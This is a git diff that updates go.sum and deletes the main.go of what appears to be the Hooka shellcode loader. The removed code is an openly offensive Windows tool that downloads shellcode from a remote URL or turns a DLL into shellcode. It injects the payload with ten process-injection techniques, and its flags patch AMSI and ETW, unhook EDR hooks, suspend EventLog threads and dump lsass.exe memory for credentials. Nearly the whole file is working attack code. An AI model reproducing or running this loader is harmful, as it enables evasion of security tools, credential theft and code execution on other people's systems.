@@ -21,8 +21,11 @@ dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v0.21.1/go.mod h1:fBF9PQNqB8scdgpZ3ufzaLntG0AG7C1WjPMsiFOmfHM=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v0.8.3/go.mod h1:KLF4gFr6DcKFZwSuH8w8yEK6DpFl3LP5rhdvAb7Yz5I=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v0.3.0/go.mod h1:tPaiy8S5bQ+S5sOiDlINkp7+Ef339+Nz5L5XO+cnOHo=
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
|
||||
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c h1:cFMQKxryHZ3Sddca8nqJ1RDjaUTW/+79lRKs+7508nk=
|
||||
github.com/Binject/go-donut v0.0.0-20220908180326-fcdcc35d591c/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
|
||||
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
|
||||
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/D3Ext/maldev v0.1.4 h1:uQSxX5XKp//HTCmO8SStOO1P9Ia1MiIvWjohWlOLIvE=
|
||||
@@ -32,6 +35,7 @@ github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAE
|
||||
github.com/StackExchange/wmi v0.0.0-20180116203802-5d049714c4a6/go.mod h1:3eOhrUMpNV+6aFIbp5/iudMxNCF27Vw2OZgy4xEx0Fg=
|
||||
github.com/VictoriaMetrics/fastcache v1.6.0/go.mod h1:0qHz5QP0GMX4pfmMA/zt5RgfNuXJrTP0zS7DqpHGGTw=
|
||||
github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw=
|
||||
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
|
||||
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
|
||||
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
|
||||
github.com/allegro/bigcache v1.2.1-0.20190218064605-e24eb225f156/go.mod h1:Cb/ax3seSYIx7SuZdm2G2xzfwmv3TPSk2ucNfQESPXM=
|
||||
@@ -54,8 +58,6 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
|
||||
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
|
||||
github.com/bmizerany/pat v0.0.0-20170815010413-6226ea591a40/go.mod h1:8rLXio+WjiTceGBHIoTvn60HIbs7Hm7bcHjyrSqYB9c=
|
||||
github.com/boltdb/bolt v1.3.1/go.mod h1:clJnj/oiGkjum5o1McbSZDSLxVThjynRyGBgiAx27Ps=
|
||||
github.com/briandowns/spinner v1.23.0 h1:alDF2guRWqa/FOZZYWjlMIx2L6H0wyewPxo/CH4Pt2A=
|
||||
github.com/briandowns/spinner v1.23.0/go.mod h1:rPG4gmXeN3wQV/TsAY4w8lPdIM6RX3yqeBQJSrbXjuE=
|
||||
github.com/btcsuite/btcd/btcec/v2 v2.1.2/go.mod h1:ctjw4H1kknNJmRN4iP1R7bTQ+v3GJkZBd6mui8ZsAZE=
|
||||
github.com/btcsuite/btcd/chaincfg/chainhash v1.0.0/go.mod h1:7SFka0XMvUgj3hfZtydOrQY2mwhPclbT2snogU7SQQc=
|
||||
github.com/c-bata/go-prompt v0.2.2/go.mod h1:VzqtzE2ksDBcdln8G7mk2RX9QyGjH+OVqOCSiVIqS34=
|
||||
@@ -68,8 +70,6 @@ github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5P
|
||||
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
|
||||
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
|
||||
github.com/cloudflare/cloudflare-go v0.14.0/go.mod h1:EnwdgGMaFOruiPZRFSgn+TsQ3hQ7C/YWzIGLeu5c304=
|
||||
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be h1:J5BL2kskAlV9ckgEsNQXscjIaLiOYiZ75d4e94E6dcQ=
|
||||
github.com/common-nighthawk/go-figure v0.0.0-20210622060536-734e95fb86be/go.mod h1:mk5IQ+Y0ZeO87b858TlA645sVcEcbiX6YqP98kt+7+w=
|
||||
github.com/consensys/bavard v0.1.8-0.20210406032232-f3452dc9b572/go.mod h1:Bpd0/3mZuaj6Sj+PqrmIquiOKy397AKGThQPaGzNXAQ=
|
||||
github.com/consensys/gnark-crypto v0.4.1-0.20210426202927-39ac3d4b3f1f/go.mod h1:815PAHg3wvysy0SyIqanF8gZ0Y1wjk/hrDHD/iT88+Q=
|
||||
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
|
||||
@@ -77,6 +77,7 @@ github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ3
|
||||
github.com/cyberdelia/templates v0.0.0-20141128023046-ca7fffd4298c/go.mod h1:GyV+0YP4qX0UQ7r2MoYZ+AvYDp12OF5yg4q8rGnyNh4=
|
||||
github.com/dave/jennifer v1.2.0/go.mod h1:fIb+770HOpJ2fmN9EPPKOqm1vMGhB+TwXKMZhrIygKg=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/deckarep/golang-set v1.8.0/go.mod h1:5nI87KwE7wgsBU1F4GKAw2Qod7p5kyS383rP6+o6qqo=
|
||||
github.com/decred/dcrd/crypto/blake256 v1.0.0/go.mod h1:sQl2p6Y26YV+ZOcSTP6thNdn47hh8kt6rqSlvmrXFAc=
|
||||
@@ -102,8 +103,6 @@ github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7
|
||||
github.com/ethereum/go-ethereum v1.10.17 h1:XEcumY+qSr1cZQaWsQs5Kck3FHB0V2RiMHPdTBJ+oT8=
|
||||
github.com/ethereum/go-ethereum v1.10.17/go.mod h1:Lt5WzjM07XlXc95YzrhosmR4J9Ahd6X2wyEV2SvGhk0=
|
||||
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
|
||||
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
|
||||
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
|
||||
github.com/fjl/memsize v0.0.0-20190710130421-bcb5799ab5e5/go.mod h1:VvhXpOYNQvB+uIk2RvXzuaQtkQJzzIx6lSBe1xv7hi0=
|
||||
github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k=
|
||||
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
|
||||
@@ -236,15 +235,10 @@ github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaO
|
||||
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
|
||||
github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
|
||||
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
|
||||
github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-isatty v0.0.18 h1:DOKFKCQ7FNG2L1rbrmstDN4QVRdS89Nkh85u68Uwp98=
|
||||
github.com/mattn/go-isatty v0.0.18/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
||||
github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-sqlite3 v1.11.0/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc=
|
||||
@@ -281,6 +275,7 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
|
||||
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pkg/term v0.0.0-20180730021639-bffc007b7fd5/go.mod h1:eCbImbZ95eXtAUIbLAuAVnBnwf83mjf6QIVH8SHYwqQ=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
|
||||
github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=
|
||||
@@ -319,6 +314,7 @@ github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UV
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/syndtr/goleveldb v1.0.1-0.20210819022825-2ae1ddf74ef7/go.mod h1:q4W45IWZaF22tdD+VEXcAWRA037jwmWEB5VWYORlTpc=
|
||||
github.com/tinylib/msgp v1.0.2/go.mod h1:+d+yLhGm8mzTaHzB+wgMYrodPfmZrzkirds8fDWklFE=
|
||||
@@ -456,14 +452,10 @@ golang.org/x/sys v0.0.0-20210420205809-ac73e9fd8988/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o=
|
||||
golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.15.0 h1:h48lPFYpsTvQJZF4EKyI4aLHaev3CxivZmv7yZig9pc=
|
||||
golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.8.0 h1:n5xxQn2i3PC0yLAbjTpNT85q/Kgzcr2gIoX9OrJUols=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
@@ -568,6 +560,7 @@ gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gotest.tools v2.2.0+incompatible/go.mod h1:DsYFclhRJ6vuDpmuTbkuFWG+y2sxOXAzmJt81HFBacw=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
|
||||
@@ -1,656 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
|
||||
l "github.com/D3Ext/maldev/logging"
|
||||
)
|
||||
|
||||
var techniques []string = []string{"CreateRemoteThread", "CreateRemoteThreadHalos", "CreateProcess", "EnumSystemLocales", "EnumSystemLocalesHalos", "Fibers", "QueueUserApc", "UuidFromString", "EtwpCreateEtwThread", "RtlCreateUserThread", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10"}
|
||||
|
||||
func main() {
|
||||
var shellcode []byte
|
||||
var err error
|
||||
|
||||
var sc_url string
|
||||
var sc_file string
|
||||
var dll_file string
|
||||
var dll_url string
|
||||
var technique string
|
||||
var hook_detect bool
|
||||
var unhook int
|
||||
var base64_flag bool
|
||||
var hex_flag bool
|
||||
var test_flag bool
|
||||
var amsi bool
|
||||
var etw bool
|
||||
var lsass string
|
||||
var phantom bool
|
||||
var pid int
|
||||
|
||||
l.PrintBanner("Hooka!")
|
||||
l.Println(" by D3Ext - v0.1")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
flag.StringVar(&sc_url, "url", "", "remote url where shellcode is stored (e.g. http://192.168.1.37/shellcode.bin)")
|
||||
flag.StringVar(&dll_url, "remote-dll", "", "remote url where DLL is stored, especify function separated by comma (i.e. http://192.168.1.37/evil.dll,xyz)")
|
||||
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
|
||||
flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
|
||||
flag.StringVar(&technique, "t", "", "shellcode injection technique (default: 1):\n 1: CreateRemoteThread\n 2: CreateRemoteThreadHalos\n 3: CreateProcess\n 4: EnumSystemLocales\n 5: EnumSystemLocalesHalos\n 6: Fibers\n 7: QueueUserApc\n 8: UuidFromString\n 9: EtwpCreateEtwThread\n 10: RtlCreateUserThread (PID required)")
|
||||
flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR")
|
||||
flag.IntVar(&unhook, "unhook", 0, "overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart")
|
||||
flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode")
|
||||
flag.BoolVar(&amsi, "amsi", false, "overwrite AmsiScanBuffer memory address to patch AMSI (Anti Malware Scan Interface)")
|
||||
flag.BoolVar(&etw, "etw", false, "overwrite EtwEventWrite memory address to patch ETW (Event Tracing for Windows)")
|
||||
flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
|
||||
flag.BoolVar(&phantom, "phantom", false, "use Phant0m technique to suspend EventLog threads (run with high privs)")
|
||||
flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
|
||||
flag.StringVar(&lsass, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run with high privs)")
|
||||
flag.IntVar(&pid, "pid", 0, "PID to inject shellcode into (only applies for certain techniques) (default: self)")
|
||||
flag.Parse()
|
||||
|
||||
// Check if two main args were passed
|
||||
var args_check int = 0
|
||||
|
||||
if sc_url != "" {
|
||||
args_check += 1
|
||||
}
|
||||
if sc_file != "" {
|
||||
args_check += 1
|
||||
}
|
||||
if dll_url != "" {
|
||||
args_check += 1
|
||||
}
|
||||
if dll_file != "" {
|
||||
args_check += 1
|
||||
}
|
||||
if test_flag {
|
||||
args_check += 1
|
||||
}
|
||||
if hook_detect {
|
||||
args_check += 1
|
||||
}
|
||||
if lsass != "" {
|
||||
args_check += 1
|
||||
}
|
||||
if phantom {
|
||||
args_check += 1
|
||||
}
|
||||
|
||||
if args_check > 1 {
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use two main flags at the same time!\n")
|
||||
os.Exit(0)
|
||||
|
||||
} else if args_check == 0 {
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
// Check if two encoding methods were especified
|
||||
var enc_check int
|
||||
|
||||
if base64_flag {
|
||||
enc_check += 1
|
||||
}
|
||||
if hex_flag {
|
||||
enc_check += 1
|
||||
}
|
||||
|
||||
if enc_check > 1 {
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use base64 and hex encoding at the same time\n")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if technique == "" {
|
||||
technique = "CreateRemoteThread"
|
||||
}
|
||||
|
||||
// Check invalid injection technique
|
||||
var valid_t bool
|
||||
for _, t := range techniques {
|
||||
if strings.ToLower(t) == strings.ToLower(technique) {
|
||||
valid_t = true
|
||||
}
|
||||
}
|
||||
|
||||
// Check if a required pid was especified
|
||||
if (strings.ToLower(technique) == "rtlcreateuserthread") || (technique == "10") {
|
||||
if pid == 0 {
|
||||
l.Println("\n[-] Error: a PID is required to inject shellcode into with this injection technique\n")
|
||||
os.Exit(0)
|
||||
}
|
||||
}
|
||||
|
||||
if valid_t == false {
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: invalid shellcode injection technique! See help panel\n")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
// Check unexpected values for unhooking flag
|
||||
if (unhook != 1) && (unhook != 2) && (unhook != 3) && (unhook != 0) { // Check if user provided a non allowed value
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: invalid unhooking technique! 1=classic, 2=full, 3=Perun's Fart\n")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
// Main code starts here
|
||||
|
||||
if sc_url != "" {
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("\n[+] Remote shellcode URL: " + sc_url)
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
if pid != 0 {
|
||||
l.Println("[+] Target PID:", pid)
|
||||
} else {
|
||||
l.Println("[+] Target PID: self")
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
// Check shellcode encoding flags
|
||||
if base64_flag {
|
||||
l.Println("[+] Shellcode encoding: base64")
|
||||
} else if hex_flag {
|
||||
l.Println("[+] Shellcode encoding: hex")
|
||||
} else {
|
||||
l.Println("[+] No encoding was especified")
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Retrieving shellcode from url...")
|
||||
shellcode, err = hooka.GetShellcodeFromUrl(sc_url)
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has occurred retrieving shellcode!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
if base64_flag { // Decode shellcode if necessary
|
||||
l.Println("[*] Decoding shellcode...")
|
||||
shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
} else if hex_flag {
|
||||
l.Println("[*] Decoding shellcode...")
|
||||
shellcode, err = hex.DecodeString(string(shellcode))
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
}
|
||||
|
||||
checkAmsi(amsi)
|
||||
checkEtw(etw)
|
||||
checkUnhook(unhook, strings.ToLower(technique))
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
|
||||
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
l.Println("[+] Shellcode should be executed without errors!\n")
|
||||
|
||||
} else if sc_file != "" {
|
||||
|
||||
_, err := os.Stat(sc_file) // Check if file exists
|
||||
if os.IsNotExist(err) {
|
||||
l.Println("\n[-] Especified file doesn't exist!\n")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
|
||||
if pid != 0 {
|
||||
l.Println("\n[+] Target PID:", pid)
|
||||
} else {
|
||||
l.Println("\n[+] Target PID: self")
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("\n[+] Shellcode file: " + sc_file)
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Getting shellcode from file...")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
shellcode, err = hooka.GetShellcodeFromFile(sc_file) // Read file and retrieve shellcode as bytes
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
if base64_flag { // Check shellcode encoding flags
|
||||
l.Println("[+] Shellcode encoding: base64")
|
||||
shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Decoding shellcode")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
} else if hex_flag {
|
||||
l.Println("[+] Shellcode encoding: hex")
|
||||
shellcode, err = hex.DecodeString(string(shellcode))
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Decoding shellcode")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
} else {
|
||||
l.Println("[+] No encoding was especified")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
}
|
||||
|
||||
checkAmsi(amsi)
|
||||
checkEtw(etw)
|
||||
checkUnhook(unhook, strings.ToLower(technique))
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
|
||||
err = hooka.Inject(shellcode, technique, pid) // Inject shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
l.Println("[+] Shellcode should be executed without errors!\n")
|
||||
|
||||
} else if dll_file != "" {
|
||||
|
||||
var dll_filename string
|
||||
var dll_func string
|
||||
|
||||
if strings.Contains(dll_file, ",") { // Check if a function was especified
|
||||
dll_filename = strings.Split(dll_file, ",")[0] // Get DLL path
|
||||
dll_func = strings.Split(dll_file, ",")[1] // Get DLL function to execute
|
||||
} else {
|
||||
dll_filename = dll_file
|
||||
dll_func = ""
|
||||
}
|
||||
|
||||
_, err := os.Stat(dll_filename) // Check if especified dll exists
|
||||
if os.IsNotExist(err) {
|
||||
l.Println("\n[-] Especified DLL doesn't exists!\n")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if pid != 0 {
|
||||
l.Println("\n[+] Target PID:", pid)
|
||||
} else {
|
||||
l.Println("\n[+] Target PID: self")
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
|
||||
l.Println("[+] DLL file: " + dll_filename)
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
if dll_func != "" {
|
||||
l.Println("[+] Function to execute: " + dll_func)
|
||||
} else {
|
||||
l.Println("[+] Function to execute: default")
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Converting " + dll_filename + " to shellcode")
|
||||
shellcode, err := hooka.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[+] Process finished successfully!")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
checkAmsi(amsi)
|
||||
checkEtw(etw)
|
||||
checkUnhook(unhook, strings.ToLower(technique))
|
||||
|
||||
